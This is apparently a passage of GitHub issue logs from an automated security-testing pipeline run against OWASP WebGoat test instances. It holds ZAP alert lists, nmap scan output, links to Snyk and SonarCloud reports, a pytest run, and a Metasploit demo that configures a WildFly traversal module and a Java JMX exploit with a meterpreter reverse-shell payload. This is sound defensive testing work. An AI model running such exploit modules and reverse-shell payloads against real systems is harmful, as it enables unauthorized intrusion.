    - http://4.188.240.134:8080/WebGoat/start.mvc
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://4.188.240.134:8080/WebGoat/login
  - **Base64 Disclosure** [10094] total: 1:
    - http://4.188.240.134:8080/WebGoat/start.mvc
  - **Non-Storable Content** [10049] total: 1:
    - http://4.188.240.134:8080/WebGoat/start.mvc
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - http://4.188.240.134:8080/
    - http://4.188.240.134:8080/WebGoat/login
    - http://4.188.240.134:8080/WebGoat/start.mvc
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - http://4.188.240.134:8080/
    - http://4.188.240.134:8080/WebGoat/login
    - http://4.188.240.134:8080/WebGoat/start.mvc
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - http://4.188.240.134:8080/
    - http://4.188.240.134:8080/WebGoat/login
    - http://4.188.240.134:8080/WebGoat/start.mvc
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - http://4.188.240.134:8080/
    - http://4.188.240.134:8080/WebGoat/login
    - http://4.188.240.134:8080/WebGoat/start.mvc
  - **Session Management Response Identified** [10112] total: 2:
    - http://4.188.240.134:8080/WebGoat/start.mvc
    - http://4.188.240.134:8080/WebGoat/start.mvc
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://4.188.240.134:8080/
    - http://4.188.240.134:8080/robots.txt
    - http://4.188.240.134:8080/sitemap.xml
    - http://4.188.240.134:8080/WebGoat/login
  - **User Agent Fuzzer** [10104] total: 24:
    - http://4.188.240.134:8080/WebGoat
    - http://4.188.240.134:8080/WebGoat
    - http://4.188.240.134:8080/WebGoat
    - http://4.188.240.134:8080/WebGoat

        - http://4.188.240.134:8080/WebGoat
        - ..

View the following link to download the report. RunnerID:6833255531

- Site: http://20.204.140.188:8080 **New Alerts**
    - **Absence of Anti-CSRF Tokens** [10202] total: 1:
        - http://20.204.140.188:8080/WebGoat/login
    - **Anti-CSRF Tokens Check** [20012] total: 1:
        - http://20.204.140.188:8080/WebGoat/login
    - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
        - http://20.204.140.188:8080/WebGoat/login
    - **Permissions Policy Header Not Set** [10063] total: 1:
        - http://20.204.140.188:8080/WebGoat/login
    - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
        - http://20.204.140.188:8080/
        - http://20.204.140.188:8080/robots.txt
        - http://20.204.140.188:8080/sitemap.xml
        - http://20.204.140.188:8080/WebGoat/login
    - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
        - http://20.204.140.188:8080/
        - http://20.204.140.188:8080/robots.txt
        - http://20.204.140.188:8080/sitemap.xml
        - http://20.204.140.188:8080/WebGoat/login
    - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
        - http://20.204.140.188:8080/
        - http://20.204.140.188:8080/robots.txt
        - http://20.204.140.188:8080/sitemap.xml
        - http://20.204.140.188:8080/WebGoat/login
    - **Sec-Fetch-User Header is Missing** [90005] total: 4:
        - http://20.204.140.188:8080/
        - http://20.204.140.188:8080/robots.txt
        - http://20.204.140.188:8080/sitemap.xml
        - http://20.204.140.188:8080/WebGoat/login
    - **Storable and Cacheable Content** [10049] total: 4:
        - http://20.204.140.188:8080/
        - http://20.204.140.188:8080/robots.txt
        - http://20.204.140.188:8080/sitemap.xml
        - http://20.204.140.188:8080/WebGoat/login
    - **User Agent Fuzzer** [10104] total: 12:
        - http://20.204.140.188:8080/WebGoat
        - http://20.204.140.188:8080/WebGoat
        - http://20.204.140.188:8080/WebGoat
        - http://20.204.140.188:8080/WebGoat
        - http://20.204.140.188:8080/WebGoat
        - ..

View the following link to download the report. RunnerID:6846777324

# Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 702

GitHub Issue URL : Here!

**parrotOS**
**nmap**
**"priority Medium"**

Nmap vulnerability scanning
for 4.188.240.134

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Ign:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Fetched 19.6 MB in 37s (526 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-11 09:02 UTC

Nmap scan report for 4.188.240.134

Host is up (0.23s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 ec:82:71:bf:2f:5f:d9:ff:84:5b:30:ff:7d:ac:6b:a9 (ECDSA)

|_ 256 12:ae:26:bc:17:16:08:74:2b:e7:61:82:18:88:35:74 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sat, 11 Nov 2023 09:07:12 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Sat, 11 Nov 2023 09:07:11 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Sat, 11 Nov 2023 09:07:11 GMT

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-11T09:07:11.124+00:00",

| "status" : 404,

| "error" : "Not Found",

| "path" : "/"

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Sat, 11 Nov 2023 09:07:29 GMT

| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-11T09:07:29.164+00:00",

| "status" : 404,

| "error" : "Not Found",

|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=11/11%Time=654F443F%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Sat, 11 Nov 2023 09:07:

SF:11 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Sat, 11\n

SF:x20Nov 2023 09:07:11 GMT

")%r(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Sat, 11\x

SF:20Nov 2023 09:07:12 GMT

")%r(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close

SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content

SF:-Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:0400 Bad Request Content-Length: 0 Connection: close\n

SF:r

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con

SF:tent-Length: 0 Connection: close

")%r(TerminalServerCoo

SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 B

SF:ad Request Content-Length: 0 Connection: close

")

SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x

SF:200 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len

SF:gth: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(WMSRequest,42,"

SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio

SF:n: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque

SF:st Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=11/11%Time=654F443F%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac

SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n

SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr

SF:ame-Options: DENY Date: Sat, 11 Nov 2023 09:07:11\n

SF:x20GMT Connection: close Vary: Origin Vary: Access-Co

SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co

SF:ntent-Type-Options: nosniff Content-Type: application/json

SF: { \"timestamp\" : \"2023-11-11T09:07:11.124+00:00\n

SF:", \"status\" : 404, \"error\" : \"Not

SF:0Found\", \"path\" : \"/\" }")%r(WMSRequest,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request

SF:Content-Length: 0 Connection: close

")%r(SqueezeCenter_

SF:CLI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(GenericLines,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0 \n

SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid

SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache

SF:X-Frame-Options: DENY Date: Sat, 11 Nov 2023 09:07

SF::29 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR

SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n

SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ

SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a

SF:pplication/json

{ \"timestamp\" : \"2023-11-11T09

SF::07:29.164+00:00\", \"status\" : 404, \"error

SF:\" : \"Not Found\", \"path\" : \"/\" }")%r(RTS

SF:PRequest,42,"HTTP/1.1 400 Bad Request Content-Length: 0

SF: Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:4.0 cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3.10 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 27 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 ... 26

27 230.00 ms 4.188.240.134

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 441.19 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-11 09:09 UTC

Nmap scan report for 4.188.240.134

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.85 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-11 09:09 UTC

Nmap scan report for 4.188.240.134

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds

# Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 701

GitHub Issue URL : Here!

**SonarCloud**
**"priority High"**

# SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

# Priority High - Snyk Report

GitHub Issue number # 700

GitHub Issue URL : Here!

**Snyk_scan**
**"priotity High"**

# Snyk Scan for OWASP WebGoat

Go to https://app.snyk.io/org/pradyumna-muppirala for full report of Snyk with Github SSO.

# Priotity-High Metasploit-ParrotOS Test output

GitHub Issue number # 699

GitHub Issue URL : Here!

**parrotOS**
**metasploit**
**"priority High"**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Ign:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Ign:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Ign:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Fetched 19.6 MB in 1min 6s (297 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

libx11-6 libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13

postgresql-client-common postgresql-common python3-certifi

python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

libx11-6 libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13

postgresql-client-common postgresql-common python3-certifi

python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 https://deb.parrot.sh/parrot parrot InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

==========

Target Web Goat Instance IP Address : 20.219.39.173

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

---

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/java/meterpreter/
reverse_https

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

# Priotity-High Pytest-Playwright Test Output Issue

GitHub Issue number # 698

GitHub Issue URL : Here!

**Playwright**
**pytest**
**"priority High"**

Starting pytests....

============================= test session starts ==============================

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: base-url-2.0.0, playwright-0.4.3, tornasync-0.6.0.post2, anyio-4.0.0, asyncio-0.21.1, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [ 60%]

src/test_WebGoatUseCases.py .. [100%]

=================================== PASSES ===================================

============================== 5 passed in 24.81s ==============================

Stop pytests....

# Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 697

GitHub Issue URL : Here!

- Site: http://20.219.39.173:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://20.219.39.173:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://20.219.39.173:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://20.219.39.173:8080/WebGoat/login
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - http://20.219.39.173:8080/WebGoat/start.mvc
  - **Cookie Slack Detector** [90027] total: 2:
    - http://20.219.39.173:8080/WebGoat/login
    - http://20.219.39.173:8080/WebGoat/start.mvc
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - http://20.219.39.173:8080/WebGoat/start.mvc
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://20.219.39.173:8080/WebGoat/login
  - **Base64 Disclosure** [10094] total: 1:
    - http://20.219.39.173:8080/WebGoat/start.mvc
  - **Non-Storable Content** [10049] total: 1:
    - http://20.219.39.173:8080/WebGoat/start.mvc
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/login
    - http://20.219.39.173:8080/WebGoat/start.mvc
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/login
    - http://20.219.39.173:8080/WebGoat/start.mvc
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/login
    - http://20.219.39.173:8080/WebGoat/start.mvc
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/login
    - http://20.219.39.173:8080/WebGoat/start.mvc
  - **Session Management Response Identified** [10112] total: 2:
    - http://20.219.39.173:8080/WebGoat/start.mvc
    - http://20.219.39.173:8080/WebGoat/start.mvc
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://20.219.39.173:8080/
    - http://20.219.39.173:8080/robots.txt
    - http://20.219.39.173:8080/sitemap.xml
    - http://20.219.39.173:8080/WebGoat/login

    - **User Agent Fuzzer** [10104] total: 24:
        - http://20.219.39.173:8080/WebGoat
        - http://20.219.39.173:8080/WebGoat
        - http://20.219.39.173:8080/WebGoat
        - http://20.219.39.173:8080/WebGoat
        - http://20.219.39.173:8080/WebGoat
        - ..

View the following link to download the report. RunnerID:6774114667

- Site: http://4.188.240.134:8080 **New Alerts**
    - **Absence of Anti-CSRF Tokens** [10202] total: 1:
        - http://4.188.240.134:8080/WebGoat/login
    - **Anti-CSRF Tokens Check** [20012] total: 1:
        - http://4.188.240.134:8080/WebGoat/login
    - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
        - http://4.188.240.134:8080/WebGoat/login
    - **Permissions Policy Header Not Set** [10063] total: 1:
        - http://4.188.240.134:8080/WebGoat/login
    - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
        - http://4.188.240.134:8080/
        - http://4.188.240.134:8080/sitemap.xml
        - http://4.188.240.134:8080/WebGoat/login
    - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
        - http://4.188.240.134:8080/
        - http://4.188.240.134:8080/sitemap.xml
        - http://4.188.240.134:8080/WebGoat/login
    - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
        - http://4.188.240.134:8080/
        - http://4.188.240.134:8080/sitemap.xml
        - http://4.188.240.134:8080/WebGoat/login
    - **Sec-Fetch-User Header is Missing** [90005] total: 3:
        - http://4.188.240.134:8080/
        - http://4.188.240.134:8080/sitemap.xml
        - http://4.188.240.134:8080/WebGoat/login
    - **Storable and Cacheable Content** [10049] total: 4:
        - http://4.188.240.134:8080/
        - http://4.188.240.134:8080/robots.txt
        - http://4.188.240.134:8080/sitemap.xml
        - http://4.188.240.134:8080/WebGoat/login
    - **User Agent Fuzzer** [10104] total: 12:
        - http://4.188.240.134:8080/WebGoat
        - http://4.188.240.134:8080/WebGoat
        - http://4.188.240.134:8080/WebGoat
        - http://4.188.240.134:8080/WebGoat
        - http://4.188.240.134:8080/WebGoat
        - ..

View the following link to download the report. RunnerID:6833255531

# Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 696

GitHub Issue URL : Here!

**parrotOS**
**nmap**
**"priority Medium"**

Nmap vulnerability scanning
for 20.219.39.173

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.6 MB in 26s (752 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

